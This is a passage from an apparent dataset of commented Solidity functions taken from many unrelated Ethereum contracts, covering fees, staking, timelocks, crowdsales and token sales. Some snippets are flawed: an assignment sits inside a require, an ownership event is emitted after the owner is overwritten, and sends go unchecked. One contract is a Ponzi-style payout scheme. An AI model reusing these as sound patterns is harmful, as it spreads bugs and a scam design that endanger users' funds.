< currencyCodes.length; i++) amountsAfterFees[i] = _withdrawFrom(from, currencyCodes[i], amounts[i], pricesInUsd);\r\n\r\n // Reset _rawFundBalanceCache\r\n _rawFundBalanceCache = -1;\r\n\r\n // Return amounts withdrawn after fees\r\n return amountsAfterFees;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Sets the fee rate on interest.\r\n * @param rate The proportion of interest accrued to be taken as a service fee (scaled by 1e18).\r\n */", "function_code": "function setInterestFeeRate(uint256 rate) external fundEnabled onlyOwner cacheRawFundBalance {\r\n require(rate != _interestFeeRate, \"This is already the current interest fee rate.\");\r\n require(rate <= 1e18, \"The interest fee rate cannot be greater than 100%.\");\r\n _depositFees();\r\n _interestFeesGeneratedAtLastFeeRateChange = getInterestFeesGenerated(); // MUST update this first before updating _rawInterestAccruedAtLastFeeRateChange since it depends on it \r\n _rawInterestAccruedAtLastFeeRateChange = getRawInterestAccrued();\r\n _interestFeeRate = rate;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Internal function to deposit all accrued fees on interest back into the fund on behalf of the master beneficiary.\r\n * @return Integer indicating success (0), no fees to claim (1), or no RFT to mint (2).\r\n */", "function_code": "function _depositFees() internal fundEnabled cacheRawFundBalance returns (uint8) {\r\n // Input validation\r\n require(_interestFeeMasterBeneficiary != address(0), \"Master beneficiary cannot be the zero address.\");\r\n\r\n // Get and validate unclaimed interest fees\r\n uint256 amountUsd = getInterestFeesUnclaimed();\r\n if (amountUsd <= 0) return 1;\r\n\r\n // Calculate RFT amount to mint and validate\r\n uint256 rftTotalSupply = rariFundToken.totalSupply();\r\n uint256 rftAmount = 0;\r\n\r\n if (rftTotalSupply > 0) {\r\n uint256 fundBalanceUsd = getFundBalance();\r\n if (fundBalanceUsd > 0) rftAmount = amountUsd.mul(rftTotalSupply).div(fundBalanceUsd);\r\n else rftAmount = amountUsd;\r\n } else rftAmount = amountUsd;\r\n\r\n if (rftAmount <= 0) return 2;\r\n\r\n // Update claimed interest fees and net deposits, mint RFT, emit events, and return no error\r\n _interestFeesClaimed = _interestFeesClaimed.add(amountUsd);\r\n _netDeposits = _netDeposits.add(int256(amountUsd));\r\n require(rariFundToken.mint(_interestFeeMasterBeneficiary, rftAmount), \"Failed to mint output tokens.\");\r\n emit Deposit(\"USD\", _interestFeeMasterBeneficiary, _interestFeeMasterBeneficiary, amountUsd, amountUsd, rftAmount);\r\n emit InterestFeeDeposit(_interestFeeMasterBeneficiary, amountUsd);\r\n\r\n // Update RGT distribution speeds\r\n updateRgtDistributionSpeeds();\r\n\r\n // Return no error\r\n return 0;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Deposits all accrued fees on interest back into the fund on behalf of the master beneficiary.\r\n * @return Boolean indicating success.\r\n */", "function_code": "function depositFees() external onlyRebalancer {\r\n uint8 result = _depositFees();\r\n require(result == 0, result == 2 ? \"Deposit amount is so small that no RFT would be minted.\" : \"No new fees are available to claim.\");\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Sets the withdrawal fee rate.\r\n * @param rate The proportion of every withdrawal taken as a service fee (scaled by 1e18).\r\n */", "function_code": "function setWithdrawalFeeRate(uint256 rate) external fundEnabled onlyOwner {\r\n require(rate != _withdrawalFeeRate, \"This is already the current withdrawal fee rate.\");\r\n require(rate <= 1e18, \"The withdrawal fee rate cannot be greater than 100%.\");\r\n _withdrawalFeeRate = rate;\r\n }", "version": "0.5.17"} {"comment": "//===============================================================================================================\n//===============================================================================================================\n//===============================================================================================================\n// Ownable removed as a lib and added here to allow for custom transfers and renouncements.\n// This allows for removal of ownership privileges from the owner once renounced or transferred.", "function_code": "function transferOwner(address newOwner) external onlyOwner {\r\n require(newOwner != address(0), \"Call renounceOwnership to transfer owner to the zero address.\");\r\n require(newOwner != DEAD, \"Call renounceOwnership to transfer owner to the zero address.\");\r\n setExcludedFromFees(_owner, false);\r\n setExcludedFromFees(newOwner, true);\r\n \r\n if(balanceOf(_owner) > 0) {\r\n _transfer(_owner, newOwner, balanceOf(_owner));\r\n }\r\n \r\n _owner = newOwner;\r\n emit OwnershipTransferred(_owner, newOwner);\r\n \r\n }", "version": "0.8.12"} {"comment": "/// @notice Initializes the Prize Pool and Yield Service with the required contract connections\n/// @param _controlledTokens Array of addresses for the Ticket and Sponsorship Tokens controlled by the Prize Pool\n/// @param _maxExitFeeMantissa The maximum exit fee size, relative to the withdrawal amount\n/// @param _yieldSource Address of the yield source", "function_code": "function initializeYieldSourcePrizePool (\n RegistryInterface _reserveRegistry,\n ControlledTokenInterface[] memory _controlledTokens,\n uint256 _maxExitFeeMantissa,\n IYieldSource _yieldSource\n )\n public\n initializer\n {\n require(address(_yieldSource).isContract(), \"YieldSourcePrizePool/yield-source-not-contract-address\");\n PrizePool.initialize(\n _reserveRegistry,\n _controlledTokens,\n _maxExitFeeMantissa\n );\n yieldSource = _yieldSource;\n\n // A hack to determine whether it's an actual yield source\n (bool succeeded,) = address(_yieldSource).staticcall(abi.encode(_yieldSource.depositToken.selector));\n require(succeeded, \"YieldSourcePrizePool/invalid-yield-source\");\n\n emit YieldSourcePrizePoolInitialized(address(_yieldSource));\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Transfer underlying token interest earned to recipient\n * @return uint256 Amount dispensed\n */", "function_code": "function dispenseEarning() public returns (uint256) {\n if (earningRecipient == address(0)) {\n return 0;\n }\n\n uint256 earnings = calcUndispensedEarningInUnderlying();\n // total dispense amount = earning + withdraw fee\n uint256 totalDispenseAmount = earnings.add(balanceInUnderlying());\n if (totalDispenseAmount < earningDispenseThreshold) {\n return 0;\n }\n\n // Withdraw earning from provider\n _withdrawFromProvider(earnings);\n\n // Transfer earning + withdraw fee to recipient\n IERC20(underlyingToken).safeTransfer(earningRecipient, totalDispenseAmount);\n\n emit Dispensed(underlyingToken, totalDispenseAmount);\n\n return totalDispenseAmount;\n }", "version": "0.5.16"} {"comment": "/**\n * @dev Transfer reward token earned to recipient\n * @return uint256 Amount dispensed\n */", "function_code": "function dispenseReward() public returns (uint256) {\n if (rewardRecipient == address(0)) {\n return 0;\n }\n\n uint256 rewards = calcUndispensedProviderReward();\n if (rewards < rewardDispenseThreshold) {\n return 0;\n }\n\n // Transfer COMP rewards to recipient\n IERC20(rewardToken).safeTransfer(rewardRecipient, rewards);\n\n emit Dispensed(rewardToken, rewards);\n\n return rewards;\n }", "version": "0.5.16"} {"comment": "// add new team percentage of tokens", "function_code": "function addTeamAddressInternal(address addr, uint release_time, uint token_percentage) internal {\r\n\tif((team_token_percentage_total.add(token_percentage)) > team_token_percentage_max) revert();\r\n\tif((team_token_percentage_total.add(token_percentage)) > 100) revert();\r\n\tif(team_addresses_token_percentage[addr] != 0) revert();\r\n\t\r\n\tteam_addresses_token_percentage[addr]= token_percentage;\r\n\tteam_addresses_idx[team_address_count]= addr;\r\n\tteam_address_count++;\r\n\t\r\n\tteam_token_percentage_total = team_token_percentage_total.add(token_percentage);\r\n\r\n\tAddTeamAddress(addr, release_time, token_percentage);\r\n }", "version": "0.4.19"} {"comment": "/* Crowdfund state machine management. */", "function_code": "function getState() public constant returns (State) {\r\n if(finalized) return State.Finalized;\r\n else if (now < startsAt) return State.PreFunding;\r\n else if (now <= endsAt && !isMinimumGoalReached()) return State.Funding;\r\n else if (isMinimumGoalReached()) return State.Success;\r\n else if (!isMinimumGoalReached() && crowdsale_eth_fund > 0 && loadedRefund >= crowdsale_eth_fund) return State.Refunding;\r\n else return State.Failure;\r\n }", "version": "0.4.19"} {"comment": "//generate team tokens in accordance with percentage of total issue tokens, not preallocate", "function_code": "function createTeamTokenByPercentage() onlyOwner internal {\r\n\t//uint total= token.totalSupply();\r\n\tuint total= tokensSold;\r\n\t\r\n\t//uint tokens= total.mul(100).div(100-team_token_percentage_total).sub(total);\r\n\tuint tokens= total.mul(team_token_percentage_total).div(100-team_token_percentage_total);\r\n\t\r\n\tfor(uint i=0; i 0) {\r\n uint256 pending = user.amount.mul(pool.accPearlPerShare).div(1e12).sub(user.rewardDebt);\r\n if(pending > 0) {\r\n pearl.transfer(msg.sender, pending);\r\n }\r\n }\r\n if(_amount > 0) {\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(oyster), _amount);\r\n user.amount = user.amount.add(_amount);\r\n pearlStaked += _amount;\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accPearlPerShare).div(1e12);\r\n\r\n oyster.mint(msg.sender, _amount);\r\n emit Deposit(msg.sender, 0, _amount);\r\n }", "version": "0.8.11"} {"comment": "// Withdraw PEARL tokens from STAKING.", "function_code": "function leaveStaking(uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[0];\r\n UserInfo storage user = userInfo[0][msg.sender];\r\n require(user.amount >= _amount, \"withdraw: not good\");\r\n updatePool(0);\r\n uint256 pending = user.amount.mul(pool.accPearlPerShare).div(1e12).sub(user.rewardDebt);\r\n if(pending > 0) {\r\n pearl.transfer(msg.sender, pending);\r\n }\r\n if(_amount > 0) {\r\n user.amount = user.amount.sub(_amount);\r\n pearlStaked -= _amount;\r\n safePearlTransfer(address(msg.sender), _amount);\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accPearlPerShare).div(1e12);\r\n\r\n oyster.burn(msg.sender, _amount);\r\n emit Withdraw(msg.sender, 0, _amount);\r\n }", "version": "0.8.11"} {"comment": "////////////////////////////////////////////////////////////////////////////////////////OCTAPAY MINTING FUNCTION///////////////////////////////////////////////////////////////////////////////////////////", "function_code": "function mintOctapay (uint _mintBatchAmount) external returns (uint) {\r\n \r\n \r\n require(msg.sender == mintOctpayLockingAddr , 'Only the staking pool contract address set by Payzus Admin is allowed to call this mint octapay function' );\r\n \r\n \r\n \r\n require((currentSupply < totalSupply) && (maximumSupplyReached == false) , \"Octapay reached its Maximum Supply\");\r\n \r\n //currentSupply = initialSupply + _mintBatchAmount + currentSupply;\r\n currentSupply = (initialSupply).add(_mintBatchAmount).add(currentSupply);\r\n\r\n \r\n balanceOf[mintOctpayLockingAddr] = _mintBatchAmount ; // this should turn to zero once current it distribute all its token\r\n \r\n \r\n \r\n if (currentSupply >= totalSupply ) {\r\n \r\n require(tokenBurningStart == false , 'Token Burning has already been triggered Cant be triggered twice');\r\n \r\n tokenBurningStart = true ;\r\n maximumSupplyReached = true ;\r\n \r\n burnOctapayFirstSlot();\r\n\r\n }\r\n }", "version": "0.5.10"} {"comment": "//This function is allowed to call by only Payzus Admin Once Octapay Total Supply is reached and first slot of auto token burning has been completed ", "function_code": "function burnOctapayForSecondSlot () public onlyPayzusAdmin returns(uint) {\r\n \r\n \r\n require((now > firstSlotTokenBurningTime + 30 days) &&(tokenBurningCounter == 2 ) && (tokenBurningCounter <= totalTokenBurninglot) && (maximumSupplyReached = true) ,'All four slots of token birning acheived' );\r\n \r\n if(octapayContractReserveTokenBalance > 0) {\r\n \r\n // octapayContractReserveTokenBalance = octapayContractReserveTokenBalance - octapayReserveBalFirstBurningSlot ;\r\n // totalSupply = totalSupply - (octapayReserveBalFirstBurningSlot *1000000000000000000) ; \r\n \r\n octapayContractReserveTokenBalance = octapayContractReserveTokenBalance.sub(octapayReserveBalFirstBurningSlot) ;\r\n totalSupply = totalSupply.sub(octapayReserveBalFirstBurningSlot *1000000000000000000) ; \r\n \r\n \r\n tokenBurningCounter = tokenBurningCounter+ 1;\r\n secondSlotTokenBurningTime = now ;\r\n }\r\n \r\n }", "version": "0.5.10"} {"comment": "/// @notice Claim accumulated earnings.", "function_code": "function claim(address _to, uint256 _earningsToDate, uint256 _nonce, bytes memory _signature) external {\n require(_earningsToDate > claimedAmount[_to], \"nothing to claim\");\n require(_nonce > lastUsedNonce[_to], \"nonce is too old\");\n\n address signer = ECDSA.recover(hashForSignature(_to, _earningsToDate, _nonce), _signature);\n require(signer == accountManager, \"signer is not the account manager\");\n\n lastUsedNonce[_to] = _nonce;\n uint256 claimableAmount = _earningsToDate.sub(claimedAmount[_to]);\n claimedAmount[_to] = _earningsToDate;\n\n kprToken.transfer(_to, claimableAmount);\n emit Claimed(_to, claimableAmount);\n }", "version": "0.6.9"} {"comment": "/**\r\n *change dates\r\n */", "function_code": "function ChangeDates(uint256 _preSaleStartdate, uint256 _preSaleDeadline, uint256 _mainSaleStartdate, uint256 _mainSaleDeadline) public onlyOwner {\r\n \r\n if(_preSaleStartdate != 0){\r\n preSaleStartdate = _preSaleStartdate;\r\n }\r\n if(_preSaleDeadline != 0){\r\n preSaleDeadline = _preSaleDeadline;\r\n }\r\n if(_mainSaleStartdate != 0){\r\n mainSaleStartdate = _mainSaleStartdate;\r\n }\r\n if(_mainSaleDeadline != 0){\r\n mainSaleDeadline = _mainSaleDeadline; \r\n }\r\n\t\t \r\n\t\t if(crowdsaleClosed == true){\r\n\t\t\t crowdsaleClosed = false;\r\n\t\t }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice View function to check if a timelock for the specified function and\r\n * arguments has completed.\r\n * @param functionSelector function to be called.\r\n * @param arguments The abi-encoded arguments of the function to be called.\r\n * @return A boolean indicating if the timelock exists or not and the time at\r\n * which the timelock completes if it does exist.\r\n */", "function_code": "function getTimelock(\r\n bytes4 functionSelector, bytes memory arguments\r\n ) public view returns (\r\n bool exists,\r\n bool completed,\r\n bool expired,\r\n uint256 completionTime,\r\n uint256 expirationTime\r\n ) {\r\n // Get timelock ID using the supplied function arguments.\r\n bytes32 timelockID = keccak256(abi.encodePacked(arguments));\r\n\r\n // Get information on the current timelock, if one exists.\r\n completionTime = uint256(_timelocks[functionSelector][timelockID].complete);\r\n exists = completionTime != 0;\r\n expirationTime = uint256(_timelocks[functionSelector][timelockID].expires);\r\n completed = exists && now > completionTime;\r\n expired = exists && now > expirationTime;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Internal function for setting a new timelock interval for a given\r\n * function selector. The default for this function may also be modified, but\r\n * excessive values will cause the `modifyTimelockInterval` function to become\r\n * unusable.\r\n * @param functionSelector the selector of the function to set the timelock\r\n * interval for.\r\n * @param newTimelockInterval the new minimum timelock interval to set for the\r\n * given function.\r\n */", "function_code": "function _modifyTimelockInterval(\r\n bytes4 functionSelector, uint256 newTimelockInterval\r\n ) internal {\r\n // Ensure that the timelock has been set and is completed.\r\n _enforceTimelockPrivate(\r\n _MODIFY_TIMELOCK_INTERVAL_SELECTOR,\r\n abi.encode(functionSelector, newTimelockInterval)\r\n );\r\n\r\n // Clear out the existing timelockID protection for the given function.\r\n delete _protectedTimelockIDs[\r\n _MODIFY_TIMELOCK_INTERVAL_SELECTOR\r\n ][functionSelector];\r\n\r\n // Set new timelock interval and emit a `TimelockIntervalModified` event.\r\n _setTimelockIntervalPrivate(functionSelector, newTimelockInterval);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Internal function for setting a new timelock expiration for a given\r\n * function selector. Once the minimum interval has elapsed, the timelock will\r\n * expire once the specified expiration time has elapsed. Setting this value\r\n * too low will result in timelocks that are very difficult to execute\r\n * correctly. Be sure to override the public version of this function with\r\n * appropriate access controls.\r\n * @param functionSelector the selector of the function to set the timelock\r\n * expiration for.\r\n * @param newTimelockExpiration the new minimum timelock expiration to set for\r\n * the given function.\r\n */", "function_code": "function _modifyTimelockExpiration(\r\n bytes4 functionSelector, uint256 newTimelockExpiration\r\n ) internal {\r\n // Ensure that the timelock has been set and is completed.\r\n _enforceTimelockPrivate(\r\n _MODIFY_TIMELOCK_EXPIRATION_SELECTOR,\r\n abi.encode(functionSelector, newTimelockExpiration)\r\n );\r\n\r\n // Clear out the existing timelockID protection for the given function.\r\n delete _protectedTimelockIDs[\r\n _MODIFY_TIMELOCK_EXPIRATION_SELECTOR\r\n ][functionSelector];\r\n\r\n // Set new default expiration and emit a `TimelockExpirationModified` event.\r\n _setTimelockExpirationPrivate(functionSelector, newTimelockExpiration);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Internal function to set an initial timelock interval for a given\r\n * function selector. Only callable during contract creation.\r\n * @param functionSelector the selector of the function to set the timelock\r\n * interval for.\r\n * @param newTimelockInterval the new minimum timelock interval to set for the\r\n * given function.\r\n */", "function_code": "function _setInitialTimelockInterval(\r\n bytes4 functionSelector, uint256 newTimelockInterval\r\n ) internal {\r\n // Ensure that this function is only callable during contract construction.\r\n assembly { if extcodesize(address) { revert(0, 0) } }\r\n\r\n // Set the timelock interval and emit a `TimelockIntervalModified` event.\r\n _setTimelockIntervalPrivate(functionSelector, newTimelockInterval);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Private function to ensure that a timelock is complete or expired\r\n * and to clear the existing timelock if it is complete so it cannot later be\r\n * reused.\r\n * @param functionSelector function to be called.\r\n * @param arguments The abi-encoded arguments of the function to be called.\r\n */", "function_code": "function _enforceTimelockPrivate(\r\n bytes4 functionSelector, bytes memory arguments\r\n ) private {\r\n // Get timelock ID using the supplied function arguments.\r\n bytes32 timelockID = keccak256(abi.encodePacked(arguments));\r\n\r\n // Get the current timelock, if one exists.\r\n Timelock memory timelock = _timelocks[functionSelector][timelockID];\r\n\r\n uint256 currentTimelock = uint256(timelock.complete);\r\n uint256 expiration = uint256(timelock.expires);\r\n\r\n // Ensure that the timelock is set and has completed.\r\n require(\r\n currentTimelock != 0 && currentTimelock <= now, \"Timelock is incomplete.\"\r\n );\r\n\r\n // Ensure that the timelock has not expired.\r\n require(expiration > now, \"Timelock has expired.\");\r\n\r\n // Clear out the existing timelock so that it cannot be reused.\r\n delete _timelocks[functionSelector][timelockID];\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Private function for setting a new timelock interval for a given\r\n * function selector.\r\n * @param functionSelector the selector of the function to set the timelock\r\n * interval for.\r\n * @param newTimelockInterval the new minimum timelock interval to set for the\r\n * given function.\r\n */", "function_code": "function _setTimelockIntervalPrivate(\r\n bytes4 functionSelector, uint256 newTimelockInterval\r\n ) private {\r\n // Ensure that the new timelock interval will not cause an overflow error.\r\n require(\r\n newTimelockInterval < _A_TRILLION_YEARS,\r\n \"Supplied minimum timelock interval is too large.\"\r\n );\r\n\r\n // Get the existing timelock interval, if any.\r\n uint256 oldTimelockInterval = uint256(\r\n _timelockDefaults[functionSelector].interval\r\n );\r\n\r\n // Update the timelock interval on the provided function.\r\n _timelockDefaults[functionSelector].interval = uint128(newTimelockInterval);\r\n\r\n // Emit a `TimelockIntervalModified` event with the appropriate arguments.\r\n emit TimelockIntervalModified(\r\n functionSelector, oldTimelockInterval, newTimelockInterval\r\n );\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Initiates a timelocked account recovery process for a smart wallet\r\n * user signing key. Only the owner may call this function. Once the timelock\r\n * period is complete (and before it has expired) the owner may call `recover`\r\n * to complete the process and reset the user's signing key.\r\n * @param smartWallet the smart wallet address.\r\n * @param userSigningKey the new user signing key.\r\n * @param extraTime Additional time in seconds to add to the timelock.\r\n */", "function_code": "function initiateAccountRecovery(\r\n address smartWallet, address userSigningKey, uint256 extraTime\r\n ) external onlyOwner {\r\n require(smartWallet != address(0), \"No smart wallet address provided.\");\r\n require(userSigningKey != address(0), \"No new user signing key provided.\");\r\n\r\n // Set the timelock and emit a `TimelockInitiated` event.\r\n _setTimelock(\r\n this.recover.selector, abi.encode(smartWallet, userSigningKey), extraTime\r\n );\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Initiates a timelocked account recovery disablement process for a\r\n * smart wallet. Only the owner may call this function. Once the timelock\r\n * period is complete (and before it has expired) the owner may call\r\n * `disableAccountRecovery` to complete the process and opt a smart wallet out\r\n * of account recovery. Once account recovery has been disabled, it cannot be\r\n * reenabled - the process is irreversible.\r\n * @param smartWallet the smart wallet address.\r\n * @param extraTime Additional time in seconds to add to the timelock.\r\n */", "function_code": "function initiateAccountRecoveryDisablement(\r\n address smartWallet, uint256 extraTime\r\n ) external onlyOwner {\r\n require(smartWallet != address(0), \"No smart wallet address provided.\");\r\n\r\n // Set the timelock and emit a `TimelockInitiated` event.\r\n _setTimelock(\r\n this.disableAccountRecovery.selector, abi.encode(smartWallet), extraTime\r\n );\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Timelocked function to opt a given wallet out of account recovery.\r\n * This action cannot be undone - any future account recovery would require an\r\n * upgrade to the smart wallet implementation itself and is not likely to be\r\n * supported. Only the owner may call this function.\r\n * @param smartWallet Address of the smart wallet to disable account recovery\r\n * for.\r\n */", "function_code": "function disableAccountRecovery(address smartWallet) external onlyOwner {\r\n require(smartWallet != address(0), \"No smart wallet address provided.\");\r\n\r\n // Ensure that the timelock has been set and is completed.\r\n _enforceTimelock(abi.encode(smartWallet));\r\n\r\n // Register the specified wallet as having opted out of account recovery.\r\n _accountRecoveryDisabled[smartWallet] = true;\r\n\r\n // Emit an event to signify the wallet in question is no longer recoverable.\r\n emit RecoveryDisabled(smartWallet);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Sets the timelock for a new timelock interval for a given function\r\n * selector. Only the owner may call this function.\r\n * @param functionSelector the selector of the function to set the timelock\r\n * interval for.\r\n * @param newTimelockInterval The new timelock interval to set for the given\r\n * function selector.\r\n * @param extraTime Additional time in seconds to add to the timelock.\r\n */", "function_code": "function initiateModifyTimelockInterval(\r\n bytes4 functionSelector, uint256 newTimelockInterval, uint256 extraTime\r\n ) external onlyOwner {\r\n // Ensure that a function selector is specified (no 0x00000000 selector).\r\n require(\r\n functionSelector != bytes4(0),\r\n \"Function selector cannot be empty.\"\r\n );\r\n\r\n // Ensure a timelock interval over eight weeks is not set on this function.\r\n if (functionSelector == this.modifyTimelockInterval.selector) {\r\n require(\r\n newTimelockInterval <= 8 weeks,\r\n \"Timelock interval of modifyTimelockInterval cannot exceed eight weeks.\"\r\n );\r\n }\r\n\r\n // Set the timelock and emit a `TimelockInitiated` event.\r\n _setTimelock(\r\n this.modifyTimelockInterval.selector,\r\n abi.encode(functionSelector, newTimelockInterval),\r\n extraTime\r\n );\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Sets a new timelock interval for a given function selector. The\r\n * default for this function may also be modified, but has a maximum allowable\r\n * value of eight weeks. Only the owner may call this function.\r\n * @param functionSelector the selector of the function to set the timelock\r\n * interval for.\r\n * @param newTimelockInterval The new timelock interval to set for the given\r\n * function selector.\r\n */", "function_code": "function modifyTimelockInterval(\r\n bytes4 functionSelector, uint256 newTimelockInterval\r\n ) external onlyOwner {\r\n // Ensure that a function selector is specified (no 0x00000000 selector).\r\n require(\r\n functionSelector != bytes4(0),\r\n \"Function selector cannot be empty.\"\r\n );\r\n\r\n // Continue via logic in the inherited `_modifyTimelockInterval` function.\r\n _modifyTimelockInterval(functionSelector, newTimelockInterval);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Sets a new timelock expiration for a given function selector. The\r\n * default Only the owner may call this function. New expiration durations may\r\n * not exceed one month.\r\n * @param functionSelector the selector of the function to set the timelock\r\n * expiration for.\r\n * @param newTimelockExpiration The new timelock expiration to set for the\r\n * given function selector.\r\n * @param extraTime Additional time in seconds to add to the timelock.\r\n */", "function_code": "function initiateModifyTimelockExpiration(\r\n bytes4 functionSelector, uint256 newTimelockExpiration, uint256 extraTime\r\n ) external onlyOwner {\r\n // Ensure that a function selector is specified (no 0x00000000 selector).\r\n require(\r\n functionSelector != bytes4(0),\r\n \"Function selector cannot be empty.\"\r\n );\r\n\r\n // Ensure that the supplied default expiration does not exceed 1 month.\r\n require(\r\n newTimelockExpiration <= 30 days,\r\n \"New timelock expiration cannot exceed one month.\"\r\n );\r\n\r\n // Ensure a timelock expiration under one hour is not set on this function.\r\n if (functionSelector == this.modifyTimelockExpiration.selector) {\r\n require(\r\n newTimelockExpiration >= 60 minutes,\r\n \"Expiration of modifyTimelockExpiration must be at least an hour long.\"\r\n );\r\n }\r\n\r\n // Set the timelock and emit a `TimelockInitiated` event.\r\n _setTimelock(\r\n this.modifyTimelockExpiration.selector,\r\n abi.encode(functionSelector, newTimelockExpiration),\r\n extraTime\r\n );\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice Sets a new timelock expiration for a given function selector. The\r\n * default for this function may also be modified, but has a minimum allowable\r\n * value of one hour. Only the owner may call this function.\r\n * @param functionSelector the selector of the function to set the timelock\r\n * expiration for.\r\n * @param newTimelockExpiration The new timelock expiration to set for the\r\n * given function selector.\r\n */", "function_code": "function modifyTimelockExpiration(\r\n bytes4 functionSelector, uint256 newTimelockExpiration\r\n ) external onlyOwner {\r\n // Ensure that a function selector is specified (no 0x00000000 selector).\r\n require(\r\n functionSelector != bytes4(0),\r\n \"Function selector cannot be empty.\"\r\n );\r\n\r\n // Continue via logic in the inherited `_modifyTimelockExpiration` function.\r\n _modifyTimelockExpiration(\r\n functionSelector, newTimelockExpiration\r\n );\r\n }", "version": "0.5.11"} {"comment": "/// @dev Toggle boolean flag to allow or prevent access\n/// @param _address Boolean value, true if authorized, false otherwise\n/// @param _authorization key for specific authorization", "function_code": "function toggleAuthorization(address _address, bytes32 _authorization) public ifAuthorized(msg.sender, PRESIDENT) {\r\n\r\n /// Prevent inadvertent self locking out, cannot change own authority\r\n require(_address != msg.sender, \"Cannot change own permissions.\");\r\n\r\n /// No need for lower level authorization to linger\r\n if (_authorization == PRESIDENT && !authorized[_address][PRESIDENT])\r\n authorized[_address][STAFF_MEMBER] = false;\r\n\r\n authorized[_address][_authorization] = !authorized[_address][_authorization];\r\n\r\n }", "version": "0.4.23"} {"comment": "/// @dev Set an address at _key location\n/// @param _address Address to set\n/// @param _key bytes32 key location", "function_code": "function setReference(address _address, bytes32 _key) external ifAuthorized(msg.sender, PRESIDENT) {\r\n\r\n require(_address != address(0), \"setReference: Unexpectedly _address is 0x0\");\r\n\r\n if (_key == bytes32(0)) emit LogicUpgrade(references[bytes32(0)], _address);\r\n else emit StorageUpgrade(references[_key], _address);\r\n\r\n if (references[_key] != address(0))\r\n delete references[_key];\r\n\r\n references[_key] = _address;\r\n\r\n }", "version": "0.4.23"} {"comment": "// records time at which investments were made \n// this function called every time anyone sends a transaction to this contract", "function_code": "function () external payable {\r\n // if sender (aka YOU) is invested more than 0 ether\r\n if (invested[msg.sender] != 0) {\r\n // calculate profit amount as such:\r\n // amount = (amount invested) * ((days since last transaction) / 25 days)^2\r\n uint waited = block.timestamp - atTime[msg.sender];\r\n uint256 amount = invested[msg.sender] * waited * waited / (25 days) / (25 days);\r\n\r\n msg.sender.send(amount);// send calculated amount to sender (aka YOU)\r\n }\r\n\r\n // record block number and invested amount (msg.value) of this transaction\r\n atTime[msg.sender] = block.timestamp;\r\n invested[msg.sender] += msg.value;\r\n }", "version": "0.4.25"} {"comment": "// Post image data to the blockchain and log completion\n// TODO: If not committed for this week use last weeks tokens and days (if it exists)", "function_code": "function postProof(string proofHash) public {\r\n WeekCommittment storage committment = commitments[msg.sender][currentWeek()];\r\n if (committment.daysCompleted > currentDayOfWeek()) {\r\n emit Log(\"You have already uploaded proof for today\");\r\n require(false);\r\n }\r\n if (committment.tokensCommitted == 0) {\r\n emit Log(\"You have not committed to this week yet\");\r\n require(false);\r\n }\r\n if (committment.workoutProofs[currentDayOfWeek()] != 0) {\r\n emit Log(\"Proof has already been stored for this day\");\r\n require(false);\r\n }\r\n if (committment.daysCompleted >= committment.daysCommitted) {\r\n // Don't allow us to go over our committed days\r\n return;\r\n }\r\n committment.workoutProofs[currentDayOfWeek()] = storeImageString(proofHash);\r\n committment.daysCompleted++;\r\n\r\n initializeWeekData(currentWeek());\r\n WeekData storage week = dataPerWeek[currentWeek()];\r\n week.totalDaysCompleted++;\r\n week.totalTokensCompleted = week.totalTokens * week.totalDaysCompleted / week.totalDaysCommitted;\r\n if (committment.daysCompleted >= committment.daysCommitted) {\r\n week.totalPeopleCompleted++;\r\n }\r\n }", "version": "0.4.24"} {"comment": "// Withdraw tokens to eth", "function_code": "function withdraw(uint tokens) public returns (bool success) {\r\n require(balances[msg.sender] >= tokens);\r\n uint weiToSend = tokens * weiPerToken;\r\n require(address(this).balance >= weiToSend);\r\n balances[msg.sender] = balances[msg.sender] - tokens;\r\n _totalSupply -= tokens;\r\n return msg.sender.send(tokens * weiPerToken);\r\n }", "version": "0.4.24"} {"comment": "// Initialize a week data struct", "function_code": "function initializeWeekData(uint _week) public {\r\n if (dataPerWeek[_week].initialized) return;\r\n WeekData storage week = dataPerWeek[_week];\r\n week.initialized = true;\r\n week.totalTokensCompleted = 0;\r\n week.totalPeopleCompleted = 0;\r\n week.totalTokens = 0;\r\n week.totalPeople = 0;\r\n week.totalDaysCommitted = 0;\r\n week.totalDaysCompleted = 0;\r\n }", "version": "0.4.24"} {"comment": "/// @dev Constructor\n/// @param _token token address\n/// @param _ethMultisigWallet wallet address to transfer invested ETH\n/// @param _tokenMultisigWallet wallet address to withdraw unused tokens\n/// @param _startTime ICO start time\n/// @param _duration ICO duration in seconds\n/// @param _prolongedDuration Prolonged ICO duration in seconds, 0 if no prolongation is planned\n/// @param _tokenPrice Token price in wei\n/// @param _minInvestment Minimal investment amount in wei\n/// @param _allowedSenders List of addresses allowed to send ETH to this contract, empty if anyone is allowed", "function_code": "function TokenAdrTokenSale(address _token, address _ethMultisigWallet, address _tokenMultisigWallet,\r\n uint _startTime, uint _duration, uint _prolongedDuration, uint _tokenPrice, uint _minInvestment, address[] _allowedSenders) public {\r\n require(_token != 0);\r\n require(_ethMultisigWallet != 0);\r\n require(_tokenMultisigWallet != 0);\r\n require(_duration > 0);\r\n require(_tokenPrice > 0);\r\n require(_minInvestment > 0);\r\n\r\n token = ERC20(_token);\r\n ethMultisigWallet = _ethMultisigWallet;\r\n tokenMultisigWallet = _tokenMultisigWallet;\r\n startTime = _startTime;\r\n duration = _duration;\r\n prolongedDuration = _prolongedDuration;\r\n tokenPrice = 